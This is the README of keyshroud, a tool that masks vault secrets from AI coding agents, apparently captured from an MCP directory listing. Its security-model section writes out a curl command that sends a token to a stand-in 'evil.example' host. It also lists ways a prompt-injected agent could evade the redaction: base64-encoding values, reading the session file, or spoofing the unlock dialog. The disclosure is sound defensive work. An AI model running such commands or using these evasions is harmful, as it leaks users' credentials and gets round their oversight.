Keep API keys out of Claude Code, Codex, Cursor, Cline, OpenCode, Gemini CLI, pi and omp —
secrets stay in your own self-hosted Vaultwarden
(or Bitwarden), and every value is masked before the model reads it.
Let AI coding agents use your secrets without ever seeing them. Encrypted local vault or self-hosted Vaultwarden/Bitwarden, masked output, MCP server, Claude Code + pi plugins.
The command got the real token. The transcript — and the model reading it — got
<redacted:GH_TOKEN>. (Masking is automatic when an agent runs the command;
--mask forces it in a human terminal.)
Why keyshroud?
Coding agents need credentials to do real work: gh, npm publish, cloud CLIs,
webhooks, databases. The usual options are bad:
❌ Paste the key into the chat — now it is in the transcript, the provider's logs, and every future context window
❌ Put it in .env — the agent cats it while debugging, or commits it
❌ Pay for a secrets manager — op run needs a 1Password subscription, and most "agent vaults" are hosted SaaS
❌ Use a vault MCP server — most of them return the plaintext value straight to the model
keyshroud fixes this:
✅ Names, not values — agents see GH_TOKEN and bw://GitHub CLI token, never the token
✅ Masked output — any value that reaches stdout/stderr becomes <redacted:GH_TOKEN>
✅ Your vault — Vaultwarden on a $5 VPS or a Raspberry Pi, or Bitwarden; no account with us
✅ Free — MIT-licensed, no telemetry
Features
🙈 Masked output
keyshroud run replaces every secret value in stdout/stderr with <redacted:NAME> — streaming-safe across chunk boundaries.
🪝 Agent hooks
The pi/omp tool_result hook redacts every tool result, failed ones included. Claude Code's PostToolUse hook redacts every successful tool result (Bash, Read, Grep, MCP…) — see limits.
🔌 MCP server
For clients without a shell: keyshroud mcp gives them secrets_run, secrets_list, secrets_request, vault_status. No tool ever returns a value.
🔗 Committable references
bw://item, bw://item/username, bw://item/fields/name, bw://item/totp in .env.refs files and templates: names, not values.
⌨️ Paste-to-create
New secrets go through a masked prompt in the user's terminal or a masked popup in pi — never through the chat.
📄 inject
Render {{ bw://… }} templates into 0600 config files for tools that can't read env vars (.npmrc, kubeconfig).
🔎 scan
Find vault values that leaked into your working tree (pre-commit friendly).
⚡ Fast
One batched bw list items per session instead of one bw get (~3 s) per secret.
🏠 Self-hosted, free
Vaultwarden on a $5 VPS or a Raspberry Pi. No SaaS account, no telemetry.
🧾 Audit log
audit.jsonl records which names were used, when, by which command. Never values.
Agents with a shell use the CLI: it costs no tool schemas in the context, and
keyshroud run masks output whatever the exit code. The MCP server is for
clients that cannot run commands.
Use cases
"Claude Code keeps reading my .env." Run keyshroud import to move the values into
the vault and write a .env.refs file with lines like GH_TOKEN=bw://myapp GH_TOKEN, then start
the agent with keyshroud run --env-file .env.refs -- claude. The plugin's hooks mask anything that still slips into a tool result.
"I already self-host Vaultwarden." Point bw at it, run keyshroud doctor, and you
are done — keyshroud adds no server of its own.
"I like op run but don't want 1Password."keyshroud run is the same idea —
references in, masked output out — on a vault you host.
"My agent needs to add a new key." It runs keyshroud add or calls secrets_request (MCP),
and a hidden-input dialog pops up on your desktop; in pi it is /secret. You paste the value
there. It never enters the chat.
Quickstart
Requirements: Node.js ≥ 22.18, the Bitwarden CLI, and a vault.
0. Get a vault — pick one:
Self-host Vaultwarden (free, your server): follow
examples/vaultwarden — Docker Compose + Caddy with automatic HTTPS,
from an empty VPS to keyshroud doctor, plus backups and hardening.
Bitwarden cloud (free account, no server): sign up at bitwarden.com
and skip bw config server below (EU accounts: bw config server https://vault.bitwarden.eu).
npm install -g keyshroud @bitwarden/cli
# 1. Point bw at your server and log in once
bw config server https://vault.example.com
bw login
# 2. Unlock for 30 minutes (asks for the master password, which is not stored)
keyshroud unlock
# 3. Check everything
keyshroud doctor
# 4. Store a secret — typed into a masked prompt, never echoed
keyshroud add --env GH_TOKEN --item "GitHub CLI token" --notes "gh for agents"
# 5. Use it
keyshroud run -- gh auth status
keyshroud run -- claude # start an agent with every wired secret available
keyshroud never stores the master password unless you do. When the vault is locked
and a command needs a secret, it asks: a masked prompt in a terminal, a native dialog
on the desktop (so an agent's command waits for you), and over SSH it tells you to run
keyshroud unlock. A session ends after 30 minutes (KEYSHROUD_SESSION_TTL_MS): a timer
runs bw lock, so a copied session token stops working too. On a host nobody sits at,
keyshroud unlock --unattended asks once, in a terminal only, and opens a session without an end.
To unlock without being asked, store the master password in the OS keychain
(security add-generic-password -a "$USER" -s vaultwarden-master-password -w, or
secret-tool store on Linux; after setup the entry is keyshroud-master-password; see the
vault setup guide). Any program running
as you can then read it, agents included. Windows has no keychain support.
Least privilege: a separate agent account
With the steps above, an unlocked session opens your whole vault, and an agent that
runs bw as you can use it. setup gives keyshroud its own bw login on a dedicated
account instead, which holds only the secrets agents need:
keyshroud setup --email [email protected] # opens the signup page, then logs in with the
# new master password (asked, not stored);
# no `bw config server`: Bitwarden cloud
keyshroud migrate # dry run: which wired items would be copied
keyshroud migrate --yes # copy them; references keep working
The agent login lives in ~/.config/keyshroud/bw (BITWARDENCLI_APPDATA_DIR). Your own bw
login is untouched. Its master password is not stored: keyshroud asks for it when a session
ends and keeps only a scrypt hash, so add can refuse it as a secret.
migrate copies the items that wired names (and any --env-file / --item) reference, with
the same names, then locks your personal vault again. Originals stay where they are. It asks
for your personal master password in a terminal (or reads the keychain entry vaultwarden-master-password).
An agent can run setup too. Without a terminal it opens the signup page, where you pick the
agent account's master password yourself (save it in your password manager); then the agent
runs setup --registered, which asks for it in a dialog. The password never passes through
anything the agent can read. --confirm-unlock and --unattended need a terminal.
--confirm-unlock (macOS) stores the master password in the keychain entry
keyshroud-master-password so that macOS asks you before every read, i.e. every unlock.
If bw loses the login (a rejected refresh token logs it out), keyshroud on a Mac with the
master password in the keychain asks for Touch ID and logs the agent account back in.
--unattended (hosts nobody sits at, e.g. over ssh -t) logs in with a session without an
end. Unlock it again with keyshroud unlock --unattended.
Self-hosted Vaultwarden with SIGNUPS_ALLOWED=false: invite the address from the admin page
(/admin), or allow signups for a minute, then pass --registered once the account exists.
Wiring. A secret is wired by name: GH_TOKEN → bw://GitHub CLI token.
Wiring lives in ~/.pi/agent/auth.json / ~/.omp/agent/auth.json
(shared with pi/omp) and in project .env.refs files. Both are safe to read.
Unlock. keyshroud asks for the master password (or reads one you stored in the
OS keychain); the session token is cached in ~/.config/keyshroud/session (0600)
and locked again after 30 minutes.
Resolve. All references resolve from one bw list items snapshot held in
memory for KEYSHROUD_CACHE_TTL_MS (default 1 h).
Inject. Values go into the child process environment — never into argv
or tool results (inject writes 0600 files only when you ask it to).
Redact. In-process (run, MCP, pi/omp) output passes through a redactor
that knows every wired value, the vault session token, and every login
password in the vault. Out-of-process Claude Code hooks use a keyed-HMAC
fingerprint index (redact-index.json, 0600) of wired values and the
session token only, so they never hold plaintext or fingerprint your
personal passwords.
Claude Code
Install the CLI, then the plugin (redaction hooks + skill):
SessionStart hook — refreshes the redaction index and tells Claude which
secret names exist. It never asks for the master password: with a locked
vault it tells Claude to ask you to run keyshroud unlock.
PostToolUse hook — rewrites any successful tool result that contains a
wired value or the vault session token to <redacted:NAME> using Claude
Code's updatedToolOutput (tested with Claude Code 2.1.296).
Limit: when a command fails, Claude Code fires PostToolUseFailure, which
cannot rewrite output. The skill and session context therefore tell Claude to
run every secret-using command through keyshroud run, which masks inside
the process regardless of the exit code.
Skill — teaches Claude to use names and references, never values.
Claude uses the CLI from its Bash tool, so the plugin adds no MCP server (since
0.6.1). To add one anyway: claude mcp add keyshroud -- keyshroud mcp.
The plugin calls keyshroud from PATH. If Claude Code is launched from a GUI
that doesn't see your npm/nvm bin directory, run keyshroud link-cli (links it
into ~/.local/bin) and make sure that directory is on the GUI's PATH.
To give Bash commands the secrets as env vars, start Claude through keyshroud:
keyshroud run -- claude
Use a vault item as Claude Code's own API key (apiKeyHelper):
keyshroud claude-setup --item "Anthropic API key" --ttl-ms 600000
It backs up settings.json first and refuses to replace an existing helper
without --force.
pi / omp
pi install npm:keyshroud
The extension:
hydrates wired secrets into the agent's environment before provider auth
resolves, so $CUSTOM_KEY provider references work at startup;
redacts every tool result, successful or failed, through the tool_result
hook (wired values, the vault session token, and every vault login password);
adds /secret (describe → confirm name → masked paste), /vault_add,
/vault_wire, /vault_rotate, /vault_status, and the vault_add_secret /
vault_status tools.
/secret can ask a local OpenAI-compatible model to propose the item and
variable names. Only your description is sent — never the value:
Without a planner, names are derived from the description and you can edit them.
Other agents with a shell
Codex, OpenCode, Gemini CLI, Cursor's agent and anything else that can run commands: install the
CLI and the skill, which teaches the agent to run secret-using commands as keyshroud run -- …
and to store new secrets with keyshroud add:
run masks output whenever stdout is not a terminal (agents, CI, pipes) and
passes the TTY through untouched for interactive use. Force either way with
--mask / --no-mask. exec is an alias of run.
add and rotate read the value from a masked prompt that shows * per
character. Without a terminal (an agent's shell), they open a native hidden-input
dialog instead (osascript on macOS, zenity or kdialog on Linux, PowerShell on Windows), so the agent
can start the command and you only paste. Over SSH or without a display, pipe the
value with --stdin.
import reads a .env (default ./.env), decides which lines are secrets (by name, such as
*_TOKEN or *_KEY, or by value, such as sk-… or a URL with a password), and prints a plan of
names only. Nothing is written until you add --yes: it then creates one vault item per secret,
named <prefix> NAME (prefix defaults to the directory name), reads each value back to verify it,
and writes .env.refs with comments and non-secret lines kept. Re-running reuses items that already
hold the same value and stops on a conflicting one. --replace rewrites the source file in place
instead (atomically, no backup copy). Multiline values, ${VAR} expansion and duplicate keys are
rejected with the line number, never the value.
keyshroud import # dry run: which names would move
keyshroud import --yes # store them and write .env.refs
keyshroud run --env-file .env.refs -- npm test
Exit codes:0 ok · 2 usage · 3 vault locked or unavailable · 4 secret
missing or item name ambiguous · 5 refusing to overwrite existing state.
run exits with the child's code.
References
Reference
Resolves to
bw://GitHub CLI token
login password
bw://GitHub CLI token/username
login username (notes, uri, id also work)
bw://Sentry/fields/dsn
custom field dsn
bw://AWS root/totp
current TOTP code
bw://a%2Fb
item named a/b
!bw get password 'Item'
legacy auth.json form, still supported
Item lookup is case-insensitive by name or exact by id. Duplicate names fail
closed (exit 4) instead of guessing.
Do I need Vaultwarden? No. The official Bitwarden cloud works too; keyshroud talks to
whatever server bw is configured for.
Do secrets leave my machine? Only between bw and your vault server. keyshroud has no
backend and sends no telemetry; values go into the environment of the command you run.
Can the agent still use the key? Yes. The command gets the real value; only the text
the model reads is masked.
Is this a sandbox? No. It stops accidental disclosure. A hostile or prompt-injected
agent can still exfiltrate a value it can use — see the security model.
Why not just .gitignore my .env? That stops commits, not reads. Agents read .env
to debug, and whatever they read goes to the model provider.
Does it work on Windows? Yes, tested on Windows 10 with Node 22: bw and other npm
CLIs (.cmd shims) run without a shell, the unlock dialog is a small PowerShell window,
and sessions end after 30 minutes like elsewhere. Files in %USERPROFILE%\.config\keyshroud
are protected by your profile's ACL (you, SYSTEM, Administrators), not by 0600. One gap:
over an SSH session with a terminal (ssh -t), Windows ends the lock timer when the SSH
session closes, so that session ends on the next keyshroud call instead. There is no keychain
support on Windows: keyshroud asks for the master password, and migrate cannot run there.
bw login prints KeyIdBackfillError?bw 2026.9 and later call an endpoint that Vaultwarden
added in 1.37.4 (vaultwarden#7750). The login
is saved anyway (bw status says locked), and keyshroud setup and the API-key login carry on by
themselves. Update Vaultwarden to 1.37.4 or later to make the error go away.
Security model
keyshroud protects against accidental disclosure: secrets ending up in
transcripts, provider logs, screenshots, commits, or the model's context because
a command printed them.
It does not make a hostile or prompt-injected agent safe. An agent that can
run keyshroud run -- curl https://evil.example -d "$TOKEN", or base64-encode a
value before printing it, can exfiltrate it. If that is your threat model, use
an egress proxy that swaps placeholder credentials on the wire (for example
Infisical Agent Vault or OneCLI), restrict which secrets each session
gets with --only, and keep a human approving commands.
Guarantees we test for:
secret values never appear in argv, logs, diagnostics, MCP results, hook
output, or audit.jsonl;
new secrets are read from a masked prompt, --stdin, or a native dialog, never flags;
the dialog an agent can open says it was requested by a program, warns against the
master password, refuses names that are not one printable line, refuses the master
password itself, and opens one at a time (30 s pause after a cancel);
the session file, redact index, rendered templates and auth files are 0600;
auth.json writes are locked and atomic and never overwrite without --force;
commands started by run and secrets_run never receive BW_SESSION,
BW_PASSWORD, BW_CLIENTID or BW_CLIENTSECRET, so --only really limits
what a command can read (inside pi/omp the agent process keeps the session for
legacy !bw auth entries; its value is redacted from tool output);
env files may contain only references and literals: a !command value is
rejected, and so are variables that change what programs load or run (PATH,
NODE_OPTIONS, LD_*, DYLD_*, BASH_ENV, GIT_SSH_COMMAND, …), which are
also never wired or injected;
an unparseable auth.json is never overwritten.
Known limits: a .env.refs can reference any item in your vault, not only the
ones you wired, so read a cloned repo's .env.refs before running --env-file
with it. import decides what is secret by heuristics and keeps everything else
as a literal; check its plan before committing .env.refs. The Claude Code
PostToolUse hook does not see failed commands (PostToolUseFailure cannot
rewrite output) or anything a client sends as telemetry, and it only knows wired
values, so keyshroud get bw://… or run --no-mask print in the clear; run
secret-using commands through keyshroud run or secrets_run. An agent with shell access as your user can read
~/.config/keyshroud/session and use bw directly until the session ends — after setup
that reaches only the agent account; a stored master password (keychain entry or
~/.config/keyshroud/master-password) it can read at any time, which is why keyshroud asks
instead by default; otherwise run agents in a sandbox or container if that matters. The same
agent could also draw a window that looks like the unlock dialog; when in doubt, cancel it and run
keyshroud unlock in a terminal. Without setup, keyshroud shares bw's default login, so the
30-minute lock also ends a bw session you opened yourself. Redaction is exact-match, so a partial or transformed value
(${TOKEN:0:10}, base64, a line wrapped by a tool) is not masked; values
shorter than 6 characters are not redacted (to avoid noise), so don't wire short
PINs.
Report vulnerabilities privately — see SECURITY.md.
Development
npm install
npm run check # typecheck + tests (fake bw, no real vault) + build
node src/cli.ts doctor # run from source (Node ≥ 22.18 strips types)
See CONTRIBUTING.md. The runtime-neutral core is in
src/core.ts; agent integrations live in extensions/, src/mcp.ts and
src/hooks.ts.
Credits
Inspired by @jmcombs/pi-1password
— its popup UI and diagnostics shape are ported here (MIT). Masked output follows
1Password's op run. Not affiliated with Bitwarden, Inc. or the Vaultwarden
project; "Bitwarden" is a trademark of Bitwarden, Inc.
Let AI coding agents use your secrets without ever seeing them. Encrypted local vault or self-hosted Vaultwarden/Bitwarden, masked output, MCP server, Claude Code + pi plugins.
คัดลอกคอนฟิก stdio สำหรับ Cursor, Claude Desktop, Claude Code หรือ VS Code ได้ในหน้านี้ คอนฟิกนี้ใช้การติดตั้งของผู้เผยแพร่ ไม่ใช่พร็อกซีของ PlugMCP
Keyshroud ต้องใช้ API key ไหม?
ระเบียนนี้ไม่ได้ระบุตัวแปรสภาพแวดล้อมที่จำเป็น
Keyshroud ใช้ทรานสปอร์ตแบบใด?
Keyshroud ทำงานแบบโลคัลผ่าน stdio
Keyshroud ถูกตรวจสอบล่าสุดเมื่อใด?
ตรวจสอบล่าสุดเมื่อ 2026-11-14 Let AI coding agents use your secrets without ever seeing them. Encrypted local vault or self-hosted Vaultwarden/Bitwarden, masked output, MCP server, Claude Code + pi plugins.